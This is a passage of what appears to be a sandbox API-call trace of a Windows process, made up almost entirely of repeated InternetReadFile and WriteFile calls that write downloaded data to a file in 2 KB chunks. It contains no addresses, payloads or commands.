lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.253] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.254] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.254] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.255] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.255] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.256] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.256] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.256] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.256] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.256] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.257] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.257] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.257] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.257] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.258] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.258] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.258] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.258] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.259] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.259] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.259] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.259] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.260] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.260] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.260] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.260] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.260] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.260] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.260] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.261] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.261] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.261] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.261] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.261] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.261] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.261] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.261] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.262] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.262] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.262] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.262] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.262] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.262] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.262] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.262] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.262] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.264] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.264] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.264] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.264] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.264] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.265] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.265] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.265] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.265] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.266] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.266] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.266] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.266] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.266] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.267] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.267] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.267] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.268] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.268] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.269] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.269] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.269] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.269] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.269] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.269] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.269] InternetReadFile (in: hFile=0xcc000c, 